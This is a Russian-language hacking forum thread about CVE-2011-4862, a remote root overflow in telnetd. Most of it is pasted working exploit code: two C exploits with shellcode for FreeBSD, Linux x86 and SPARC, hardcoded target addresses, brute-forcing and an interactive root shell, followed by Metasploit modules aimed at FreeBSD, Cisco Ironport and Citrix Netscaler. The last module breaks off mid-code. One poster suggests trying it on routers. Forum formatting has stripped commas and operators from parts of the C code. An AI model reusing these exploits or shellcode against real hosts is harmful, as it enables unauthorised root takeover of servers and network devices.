Старый 25.12.2011, 08:49   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Arrow FreeBSD remote root in telnetd [2011].

CVE-2011-4862

Бага затрагивает все поддерживаемые версии FreeBSD (и вероятно более ранние). Конца интернета правда не будет, т.к. telnet по умолчанию отключен во фре начиная с 2001 года.
Но если нашли сервер со включенным, то можно поиметь рута.

Дэн Розенберг уже написал эксплойт, вскоре думаю опубликует, пока есть видео.

Линк на advisory.
SynQ вне форума   Ответить с цитированием
Старый 26.12.2011, 08:45   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Новости: баге уже 20 лет, присутствует также в Mac OS X и Debian Lenny/Squeeze/wheezy.
Уязвимый telnetd присутствует в пакете inetutils (в telnetd из пакета netkit ошибка отсутствует).

Подробности: http://thexploit.com/secdev/a-textbo...-telnetd-code/
SynQ вне форума   Ответить с цитированием
Старый 27.12.2011, 10:13   #3
kfor
 
Аватар для kfor
 
Регистрация: 27.01.2011
Сообщений: 120
Репутация: 39
По умолчанию

Это первый сплойт который выложили.
PHP код:
/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  Credits to batchdrake as always
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\  \_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 ****************************************************************************/
 
/*
 * 
 * Usage:
 * 
 * $ gcc exploit.c -o exploit
 * 
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 *[*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 * 
 */
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
 
#define MAXKEYLEN 64-1
 
struct key_info
{
  
unsigned char keyid[MAXKEYLEN];
  
unsigned char keylen[4];
  
unsigned char dir[4];
  
unsigned char modep[4];
  
unsigned char getcrypt[4];
};
 
 
static 
unsigned char shellcode[] =
   
"\x31\xc0"                      // xor          %eax,%eax
   
"\x50"                          // push         %eax
   
"\xb0\x17"                      // mov          $0x17,%al
   
"\x50"                          // push         %eax
   
"\xcd\x80"                      // int          $0x80
   
"\x50"                          // push         %eax
   
"\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   
"\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   
"\x89\xe3"                      // mov          %esp,%ebx
   
"\x50"                          // push         %eax
   
"\x54"                          // push         %esp
   
"\x53"                          // push         %ebx
   
"\x50"                          // push         %eax
   
"\xb0\x3b"                      // mov          $0x3b,%al
   
"\xcd\x80";                     // int          $0x80
 
static unsigned char tnet_init_enc[] = 
        
"\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0"
;
 
static 
unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static 
unsigned char tnet_end_suboption[] = "\xff\xf0";
 
 
/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    
fd_set  fds;
    
char    tmp[128];
    
int n;
     
    
/* check uid */
    
write(fd"id\n"3);
  
    
/* semi-interactive shell */
    
for (;;) {
        
FD_ZERO(&fds);
        
FD_SET(fd, &fds);
        
FD_SET(0, &fds);
  
        if (
select(FD_SETSIZE, &fdsNULLNULLNULL) < 0) {
            
perror("select");
            break;
        }
  
        
/* read from fd and write to stdout */
        
if (FD_ISSET(fd, &fds)) {
            if ((
read(fdtmpsizeof(tmp))) < 0) {
                
fprintf(stderr"Goodbye...\n");
                break;
            }
            if (
write(1tmpn) < 0) {
                
perror("write");
                break;
            }
        }
  
        
/* read from stdin and write to fd */
        
if (FD_ISSET(0, &fds)) {
            if ((
read(0tmpsizeof(tmp))) < 0) {
                
perror("read");
                break;
            }
            if (
write(fdtmpn) < 0) {
                
perror("write");
                break;
            }
        }
    }
  
    
close(fd);
    exit(
1);
}
 
 
static 
int open_connection(in_addr_t dipint dport)
{
   
int pconn;
   
struct sockaddr_in cdata;
   
struct timeval timeout;
 
   
/* timeout.tv_sec  = _opts.timeout; */
   
timeout.tv_sec  8;
   
timeout.tv_usec 0;
 
   
/* Set socket options and create it */
   
cdata.sin_addr.s_addr dip;
   
cdata.sin_port htons(dport);
   
cdata.sin_family AF_INET;
 
   
pconn socket(AF_INETSOCK_STREAM0);
    
   if( 
pconn )
   {
      
printf("Socket error: %i\n"pconn);
      
printf("Err message: %s\n"strerror(errno));
      exit(-
1);
   }
 
   
/* Set socket timeout */
   
if ( setsockopt(pconnSOL_SOCKETSO_RCVTIMEO,
           (
void *)&timeoutsizeof(struct timeval)) != 0)
   {
      
perror("setsockopt SO_RCVTIMEO: ");
      exit(
1);
   }
    
   
/* Set socket options */
   
if ( setsockopt(pconnSOL_SOCKETSO_SNDTIMEO,
           (
void *)&timeoutsizeof(struct timeval)) != 0)
   {
      
perror("setsockopt SO_SNDTIMEO: ");
      exit(
1);
   }
 
   
/* Make connection */
   
if (connect(pconn,(struct sockaddr *) &cdatasizeof(cdata)) != 0)
   {
      
close(pconn);
      return -
1;
   }
    
   return 
pconn;
}
 
 
 
static 
void usage(char *arg)
{
    
printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
    
printf("NighterMan <nighterman@painsec.com>\n\n");
    
printf("Usage: %s [ip] [port] [target]\n"arg);
    
printf("Available Targets:\n");
    
printf(" - 1: FreeBSD 8.0 & 8.1\n");
    
printf(" - 2: FreeBSD 8.2\n\n");
}
 
 
 
int main(int argcchar *argv[])
{
    
/* Payload Size */
    
int psize = (sizeof(struct key_info) + 
                
sizeof(tnet_option_enc_keyid) + 
                
sizeof(tnet_end_suboption));
     
    
struct key_info bad_struct;
    
unsigned char payload[psize];
    
unsigned char readbuf[256];
     
    
int ret;
    
int conn;
    
int offset 0;
     
    if ( 
argc != 4) {
        
usage(argv[0]);
        return -
1;
    }
     
    
/* Fill the structure */
    
memset(&bad_struct0x90sizeof(struct key_info));
    
memcpy(&bad_struct.keyid[20], shellcodesizeof(shellcode));
    
memcpy(bad_struct.keylen,   "DEAD"4);
    
memcpy(bad_struct.dir,      "BEEF"4);
    
memcpy(bad_struct.modep,    "\x6c\x6f\x05\x08"4); /* Readable address */
     
    /* Shellcode address (function pointer overwrite) */
    
switch (atoi(argv[3])) {
        case 
1:
            
memcpy(bad_struct.getcrypt"\xa6\xee\x05\x08"4);
            break;
             
        case 
2:
            
memcpy(bad_struct.getcrypt"\xed\xee\x05\x08"4);
            break;
             
        default:
            
printf("Bad target\n");
            return -
1;
            break;
    }
     
    
/* Prepare the payload with the overflow */
    
memcpy(payloadtnet_option_enc_keyidsizeof(tnet_option_enc_keyid));
    
offset += sizeof(tnet_option_enc_keyid);
    
memcpy(&payload[offset], &bad_structsizeof(bad_struct));
    
offset += sizeof(bad_struct);
    
memcpy(&payload[offset], tnet_end_suboptionsizeof(tnet_end_suboption));
     
 
    
/* Open the connection */
    
conn open_connection(inet_addr(argv[1]), atoi(argv[2]));
    if (
conn == -1) {
        
printf("Error connecting: %i\n"errno);
        return -
1;
    }
     
    
/* Read initial server request */
    
ret read(connreadbuf256);
    
printf("[<] Succes reading intial server request %i bytes\n"ret);
     
     
    
/* Send encryption and IV */
    
ret write(conntnet_init_encsizeof(tnet_init_enc));
    if (
ret != sizeof(tnet_init_enc)) {
        
printf("Error sending init encryption: %i\n"ret);
        return -
1;
    }
    
printf("[>] Telnet initial encryption mode and IV sent\n");
     
    
/* Read response */
    
ret read(connreadbuf256);
    
printf("[<] Server response: %i bytes read\n"ret);
     
    
/* Send the first payload with the overflow */
    
ret write(connpayloadpsize);
    if (
ret != psize) {
        
printf("Error sending payload first time\n");
        return -
1;
    }
    
printf("[>] First payload to overwrite function pointer sent\n");
     
    
/* Read Response */
    
ret read(connreadbuf256);
    
printf("[<] Server response: %i bytes read\n"ret);
     
     
    
/* Send the payload again to tigger the function overwrite */
    
ret write(connpayloadpsize);
    if (
ret != psize) {
        
printf("Error sending payload second time\n");
        return -
1;
    }
    
printf("[>] Second payload to triger the function pointer\n");
     
     
    
/* Start the semi interactive shell */
    
printf("[*] got shell?\n");
    
shell(conn);
     
     
    return 
0;

Второй обновлённый.
PHP код:
/***************************************************************************
 *            telnetd-encrypt_keyid.c
 *
 *  Mon Dec 26 20:37:05 CET 2011
 * 
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *  Copyright  2011  Gonzalo J. Carracedo (BatchDrake)
 * 
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  BatchDrake@painsec.com - BatchDrake@gmail.com
 *
 *            ______      __      ________
 *          /  __  /     /_/     /  _____/
 *         /  /_/ /______________\  \_____________
 *        /  ___ / __  / / __  /  \  \/ _ \/  __/
 *       /  /   / /_/ / / / / /___/  /  __/  /__
 *  ____/__/____\__,_/_/_/ /_/______/\___/\____/____
 *
 *
 ****************************************************************************/
 
/*
 * 
 * Usage:
 * 
 * $ gcc exploit.c -o exploit
 * 
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 *[*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 * 
 */
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
 
/*
 * Most of the inetd impletantions have a connection limit per second
 * so you must chage this if you start getting errors reading responses
 *  - for 60 conex per min  900000
 *  - for 40 conex per min 1500000
 *  - for no limit 300000 should work
 */
#define BRUTE_TOUT 300000
 
 
 
#define MAXKEYLEN 64-1
 
struct key_info
{
  
unsigned char keyid[MAXKEYLEN];
  
unsigned char keylen[4];
  
unsigned char dir[4];
  
unsigned char modep[4];
  
unsigned char getcrypt[4];
};
 
struct target_profile
{
  
uint32_t      skip;
  const 
char    *address;
  const 
char    *desc;
  const 
char    *shellcode;
   
};
 
 
/* Shellcode FreeBSD x86 */
const char s_bsd32[] =
   
"\x31\xc0"                      // xor          %eax,%eax
   
"\x50"                          // push         %eax
   
"\xb0\x17"                      // mov          $0x17,%al
   
"\x50"                          // push         %eax
   
"\xcd\x80"                      // int          $0x80
   
"\x50"                          // push         %eax
   
"\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   
"\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   
"\x89\xe3"                      // mov          %esp,%ebx
   
"\x50"                          // push         %eax
   
"\x54"                          // push         %esp
   
"\x53"                          // push         %ebx
   
"\x50"                          // push         %eax
   
"\xb0\x3b"                      // mov          $0x3b,%al
   
"\xcd\x80";                     // int          $0x80
 
/* Shellcode Linux x86 */
const char s_linux32[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
 
 
/* Shellcode Linux sparc */
const char s_linuxsparc[] = "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f626800), %l6 */
                            
"\xac\x15\xa1\x6e"  /* or %l6, 0x16e, %l6         */
                            
"\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800), %l7 */
                            
"\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0          */
                            
"\x92\x03\xa0\x08"  /* add %sp, 0x08, %o1         */
                            
"\x94\x22\x80\x0a"  /* sub %o2, %o2, %o2          */
                            
"\x9c\x03\xa0\x10"  /* add %sp, 0x10, %sp         */
                            
"\xec\x3b\xbf\xf0"  /* std %l6, [ %sp + - 16 ]    */
                            
"\xd0\x23\xbf\xf8"  /* st %o0, [ %sp + - 8 ]      */
                            
"\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ]           */
                            
"\x82\x10\x20\x3b"  /* mov 0x3b, %g1              */
                            
"\x91\xd0\x20\x10"/* ta 0x10                    */
 
 
 
/* Valid targets list */
struct target_profile targets[] =
{
  {
20"\x00\x80\x05\x08""Generic Linux i386 bruteforce"s_linux32},
  {
20"\x00\x80\x05\x08""Generic BSD i386 bruteforce"s_bsd32},  
  {
20"\x23\xcc\x05\x08""Ubuntu GNU/Linux 10.04, Inetutils Server (i386)"s_linux32},
  {
20"\x12\xc9\x05\x08""Ubuntu GNU/Linux 10.04, Heimdal Server (i386)"s_linux32},
  {
20"\xef\x56\x06\x08""Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)"s_linux32},
  {
20"\x56\x9a\x05\x08""Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)"s_linux32},
  {
1,  "\x00\x03\xe7\x94""Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)"s_linuxsparc},
  {
3,  "\x00\x03\x2e\x0c""Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)"s_linuxsparc},
  {
20"\xa6\xee\x05\x08""FreeBSD 8.0 (i386)"s_bsd32},
  {
20"\xa6\xee\x05\x08""FreeBSD 8.1 (i386)"s_bsd32},
  {
20"\xed\xee\x05\x08""FreeBSD 8.2 (i386)"s_bsd32},
  {
20"\x02\xac\x05\x08""NetBSD 5.1 (i386)"s_bsd32},
   
  {
0NULLNULLNULL}
};
 
 
 
/* Telnet commands */
static unsigned char tnet_init_enc[] = 
        
"\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0"
;
 
static 
unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
 
static 
unsigned char tnet_end_suboption[] = "\xff\xf0";
 
 
/* Check if the shellcode worked, slightly simpler than shell (int) */
static int
checkmagic 
(int fd)
{
  
char got[32];
   
  if (
write (fd"echo pikachu\n"13) < 0)
    return -
1;
     
  if (
read (fdgot32) <= 0)
    return -
1;
 
  return -!
strstr (got"pikachu");
}
 
 
/*
 * shell(): semi-interactive shell hack
 */
static void shell(int fd)
{
    
fd_set  fds;
    
char    tmp[128];
    
int n;
     
    
/* check uid */
    
write(fd"id\n"3);
  
    
/* semi-interactive shell */
    
for (;;) {
        
FD_ZERO(&fds);
        
FD_SET(fd, &fds);
        
FD_SET(0, &fds);
  
        if (
select(FD_SETSIZE, &fdsNULLNULLNULL) < 0) {
            
perror("select");
            break;
        }
  
        
/* read from fd and write to stdout */
        
if (FD_ISSET(fd, &fds)) {
            if ((
read(fdtmpsizeof(tmp))) < 0) {
                
fprintf(stderr"Goodbye...\n");
                break;
            }
            if (
write(1tmpn) < 0) {
                
perror("write");
                break;
            }
        }
  
        
/* read from stdin and write to fd */
        
if (FD_ISSET(0, &fds)) {
            if ((
read(0tmpsizeof(tmp))) < 0) {
                
perror("read");
                break;
            }
            if (
write(fdtmpn) < 0) {
                
perror("write");
                break;
            }
        }
    }
}
 
 
static 
int open_connection(in_addr_t dipint dport)
{
   
int pconn;
   
struct sockaddr_in cdata;
   
struct timeval timeout;
 
   
/* timeout.tv_sec  = _opts.timeout; */
   
timeout.tv_sec  8;
   
timeout.tv_usec 0;
 
   
/* Set socket options and create it */
   
cdata.sin_addr.s_addr dip;
   
cdata.sin_port htons(dport);
   
cdata.sin_family AF_INET;
 
   
pconn socket(AF_INETSOCK_STREAM0);
    
   if( 
pconn )
   {
      
printf("Socket error: %i\n"pconn);
      
printf("Err message: %s\n"strerror(errno));
      return (-
1);
   }
 
   
/* Set socket timeout */
   
if ( setsockopt(pconnSOL_SOCKETSO_RCVTIMEO,
           (
void *)&timeoutsizeof(struct timeval)) != 0)
      
perror("setsockopt SO_RCVTIMEO: ");
    
   
/* Set socket options */
   
if ( setsockopt(pconnSOL_SOCKETSO_SNDTIMEO,
           (
void *)&timeoutsizeof(struct timeval)) != 0)
      
perror("setsockopt SO_SNDTIMEO: ");
       
 
   
/* Make connection */
   
if (connect(pconn,(struct sockaddr *) &cdatasizeof(cdata)) != 0)
   {
      
close(pconn);
      return -
1;
   }
    
   return 
pconn;
}
 
 
 
static 
void usage(char *arg)
{
    
int x 0;
     
    
printf("             ______      __      ________  \n");
    
printf("           /  __  /     /_/     /  _____/\n");
    
printf("          /  /_/ /______________\\  \\_____________\n");
    
printf("         /  ___ / __  / / __  /  \\  \\/ _ \\/  __/\n");
    
printf("        /  /   / /_/ / / / / /___/  /  __/  /__\n");
    
printf("   ____/__/____\\__,_/_/_/ /_/______/\\___/\\____/____\n");
    
printf("   ---------------- www.painsec.com ---------------\n\n");
    
printf("(c) NighterMan & BatchDrake 2011, almost 2012\n");
    
printf("OH MY GOD WE ARE ALL ABOUT TO DIE\n\n");
    
printf("Available Targets:\n\n");
     
     
    
/* print tagets */
    
while(targets[x].address != NULL) {
        
printf("  %2i: %s\n"1targets[x].desc);
        
x++;
    }
     
    
printf("\n");
    
printf("Telnetd encrypt_keyid exploit\n");
    
printf("Usage: %s [ip] [port] [target]\n\n"arg);
}
 
 
int
attack 
(const char *ipunsigned int port,
        
unsigned char *payloadunsigned int psizeint tryshell)
{
  
unsigned char readbuf[256];
  
int ret;
  
int conn;
  
  
/* Open the connection */
  
conn open_connection(inet_addr(ip), port);
  if (
conn == -1) {
      
printf("Error connecting: %i\n"errno);
      return -
1;
  }
   
  
/* Read initial server request */
  
ret read(connreadbuf256);
   
  if (
ret <= 0)
  {
    
printf ("[!] Error receiving response: %s\n"
      
ret strerror (errno) : "empty response");
    
close (conn);
    return -
1;
  }
   
  
printf("[<] Succes reading intial server request %i bytes\n"ret);
   
  
/* printf("ATTACH DEBUGGER & PRESS KEY TO CONITNUE\n"); */
  /* ret = getchar(); */
   
  /* Send encryption and IV */
  
ret write(conntnet_init_encsizeof(tnet_init_enc));
  if (
ret != sizeof(tnet_init_enc)) {
      
printf("Error sending init encryption: %i\n"ret);
      
close (conn);
      return -
1;
  }
  
printf("[>] Telnet initial encryption mode and IV sent\n");
   
  
/* Read response */
  
if ((ret read(connreadbuf256)) == -&& errno == EAGAIN)
  {
    
printf ("[!] Timeout when receiving response\n");
    
close (conn);
    return -
1;
  }
  else
    
printf("[<] Server response: %i bytes read\n"ret);
   
  
/* Send the first payload with the overflow */
  
ret write(connpayloadpsize);
  if (
ret != psize) {
      
printf("Error sending payload first time\n");
      
close (conn);
      return -
1;
  }
  
printf("[>] First payload to overwrite function pointer sent\n");
   
  
/* Read Response */
  
if ((ret read(connreadbuf256)) == -&& errno == EAGAIN)
  {
    
printf ("[!] Timeout when receiving response\n");
    
close (conn);
    return -
1;
  }
  else
    
printf("[<] Server response: %i bytes read\n"ret);
   
   
  
/* Send the payload again to tigger the function overwrite */
  
ret write(connpayloadpsize);
  if (
ret != psize) {
      
printf("Error sending payload second time\n");
      
close (conn);
      return -
1;
  }
  
printf("[>] Second payload to triger the function pointer\n");
   
  if (
tryshell)
  {
  
/* Start the semi interactive shell */
    
printf("[*] got shell?\n");
    
shell(conn);
     
    
ret 0;
  }
  else
  {
    
printf ("[*] Does this work? ");
     
    
/* Just check if it works */
     
    
if (checkmagic (conn) == 0)
    {
      
printf ("YES!!!\n");
      
printf ("Add the Target address to the targets list & recomple!!!\n");
      
ret 0;
    }
    else
    {
      
printf ("nope :(\n");
      
ret = -1;
    }
  }
   
  
close (conn);
   
  return 
ret;
}
 
 
int main(int argcchar *argv[])
{
    
int offset 0;
    
int target;
    
int i;
    
unsigned int address;
     
    
/* Payload Size */
    
int psize = (sizeof(struct key_info) + 
                
sizeof(tnet_option_enc_keyid) + 
                
sizeof(tnet_end_suboption));
     
    
struct key_info bad_struct;
    
unsigned char payload[psize];
     
    if ( 
argc != 4) {
        
usage(argv[0]);
        return -
1;
    }
     
    
/* Fill the structure */
    
memset(&bad_struct0x90sizeof(struct key_info));
    
memcpy(bad_struct.keylen,   "DEAD"4);
    
memcpy(bad_struct.dir,      "BEEF"4);
     
    
target atoi(argv[3]) - 1;
    
/* Target selection */
    
struct target_profile *t;
    
= &targets[target];
    
printf("Target: %s\n\n"t->desc);
     
    for (
0; !|| target 2i++)
    {
      
offset 0;
      
memcpy(&bad_struct.keyid[t->skip], t->shellcodestrlen(t->shellcode));
      
memcpy (&addresst->address4);
       
      
address += ((1) >> 1) * (t->skip 1) * (- ((1) << 1));
      
printf ("[*] Target address: 0x%04x\n"address);
       
      
memcpy(bad_struct.modep, &address4); /* Readable address */
      
memcpy(bad_struct.getcrypt, &address4); /* Function pointer */
          
      /* Prepare the payload with the overflow */
      
memcpy(payloadtnet_option_enc_keyidsizeof(tnet_option_enc_keyid));
      
offset += sizeof(tnet_option_enc_keyid);
      
memcpy(&payload[offset], &bad_structsizeof(bad_struct));
      
offset += sizeof(bad_struct);
      
memcpy(&payload[offset], tnet_end_suboptionsizeof(tnet_end_suboption));
       
      if (
attack (argv[1], atoi (argv[2]), payloadpsizetarget >= 2) == 0)
        break;
       
      
usleep (BRUTE_TOUT);
    }
     
    return 
0;

Источник: http://www.exploit-db.com/exploits/18280/

Последний раз редактировалось kfor; 31.12.2011 в 11:46..
kfor вне форума   Ответить с цитированием
Старый 27.12.2011, 12:22   #4
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Ну еще бы. Сейчас далеко не 90ые. А раненых в голову админов в принципе очень мало.
Раз этот код перекочевал на линукс можно на роутерах попробовать эту багу. У них как правило телнет открыт во внутрь.
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 30.12.2011, 11:30   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Видео telnetd exploit on Ubuntu 11.10 x86-64

Помимо сервера точно также уязвим и клиент телнета
Видео взлома клиента во фре
SynQ вне форума   Ответить с цитированием
Старый 30.12.2011, 12:12   #6
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Убунтоводы, проверьтесь

На винде телнет по-прежнему стартует без подтверждения?
tipsy вне форума   Ответить с цитированием
Старый 31.12.2011, 11:01   #7
(dm)
 
Аватар для (dm)
 
Регистрация: 05.07.2010
Сообщений: 58
Репутация: 86
По умолчанию

На ubuntu telnet:// не поддерживает фаерфокс, а на винде 7 спрашивает о подключении
(dm) вне форума   Ответить с цитированием
Старый 02.01.2012, 13:24   #8
Cuko
 
Регистрация: 12.11.2010
Сообщений: 15
Репутация: 2
По умолчанию

x64 битные системы не бьет? еррор выдает Error connecting: 61
Cuko вне форума   Ответить с цитированием
Старый 31.03.2012, 03:33   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

http://www.securityfocus.com/bid/51182/exploit

Updated: Mar 30 2012 06:00AM


1------------------------------------------------------------------------------------------------------------------


Цитата:
#
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Telnet
include Msf::Exploit::BruteTargets

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
},
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2011-4862'],
['OSVDB', '78020'],
['BID', '51182'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Platform' => 'bsd',
'Payload' =>
{
'Space' => 128,
'BadChars' => "\x00",
},

'Targets' =>
[
[ 'Automatic', { } ],
[ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
[ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
[ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
[ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
[ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
[ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
[ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
[ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
# [ 'FreeBSD 5.4', { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
[ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
# Versions 5.2 and below do not support encyption
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
end

def exploit_target(t)

connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
vprint_status(banner_sanitized)

enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\ x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"
end_suboption = "\xff\xf0"

# Telnet protocol requires 0xff to be escaped with another
penc = payload.encoded.gsub("\xff", "\xff\xff")

key_id = Rex::Text.rand_text_alphanumeric(400)
key_id[ 0, 2] = "\xeb\x76"
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
key_id[76, 4] = [ t['Ret'] ].pack("V")

# Some of these bytes can get mangled, jump over them
key_id[80,112] = Rex::Text.rand_text_alphanumeric(112)

# Bounce to the real payload (avoid corruption)
key_id[120, 2] = "\xeb\x46"

# The actual payload
key_id[192, penc.length] = penc

# Create the Key ID command
sploit = enc_keyid + key_id + end_suboption

# Initiate encryption
sock.put(enc_init)

# Wait for a successful response
loop do
data = sock.get_once(-1, 5) rescue nil
if not data
raise RuntimeError, "This system does not support encryption"
end
break if data.index("\xff\xfa\x26\x02\x01")
end

# The first request smashes the pointer
print_status("Sending first payload")
sock.put(sploit)

# Make sure the server replied to the first request
data = sock.get_once(-1, 5)
unless data
print_status("Server did not respond to first payload")
return
end

# Some delay between each request seems necessary in some cases
::IO.select(nil, nil, nil, 0.5)

# The second request results in the pointer being called
print_status("Sending second payload...")
sock.put(sploit)

handler

::IO.select(nil, nil, nil, 0.5)
disconnect
end

end


2------------------------------------------------------------------------------------------------------------------



Цитата:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name' => 'FreeBSD based telnetd encrypt_key_id brute force',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
FreeBSD telnet service.
},
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
'References' =>
[
['BID', '51182'],
['OSVDB', '78020'],
['CVE', '2011-4862'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Payload' =>
{
'Space' => 128,
'BadChars' => "\x00",
},
'Platform' => [ 'bsd' ],
'Targets' =>
[
#
# specific targets
#
[ 'Cisco Ironport 7.x Bruteforce',
{
'Bruteforce' =>
{

'Start' => { 'Ret' => 0x0805cffd },
'Stop' => { 'Ret' => 0x0805aa00 },
'Step' => 8
}
}
],

[ 'Citrix Netscaler 9.x',
{
'Bruteforce' =>
{

'Start' => { 'Ret' => 0x0805bffd },
'Stop' => { 'Ret' => 0x08059000 },
'Step' => 8
}
}
],

[ 'Other FreeBSD based targets',
{
'Bruteforce' =>
{

'Start' => { 'Ret' => 0x0805fffd },
'Stop' => { 'Ret' => 0x08050000 },
'Step' => 8
}
}
],


],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))

register_options(
[
Opt::RPORT(23),
], self.class )
end

def brute_exploit(addrs)
curr_ret = addrs['Ret']
begin
connect

sock.get_once
print_status('Initiate encryption mode ...')

req = ''
req << "\xff\xfa\x26\x00\x01\x01\x12\x13"
req << "\x14\x15\x16\x17\x18\x19\xff\xf0"
req << "\x00"

sock.put(req)
sock.get_once
req = ''
print_status("Trying return address 0x%.8x..." % curr_ret )
print_status('Sending first payload ...')

req << "\xff\xfa\x26\x07"
req << "\x00"
req << make_nops(71)
penc = payload.encoded.gsub("\xff", "\xff\xff")
req << [curr_ret].pack('V')
req << [curr_ret].pack('V')

req << make_nops(128)
req << penc
req << "\x90\x90\x90\x90"
req << "\xff\xf0"
req << "\x00"

sock.put(req)
sock.get_once
print_status('Sending second payload ...')
sock.put(req)

disconnect
handler
rescue
end
end

end

3------------------------------------------------------------------------------------------------------------------


Цитата:
##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Telnet
include Msf::Exploit::BruteTargets

def initialize(info = {})
super(update_info(info,
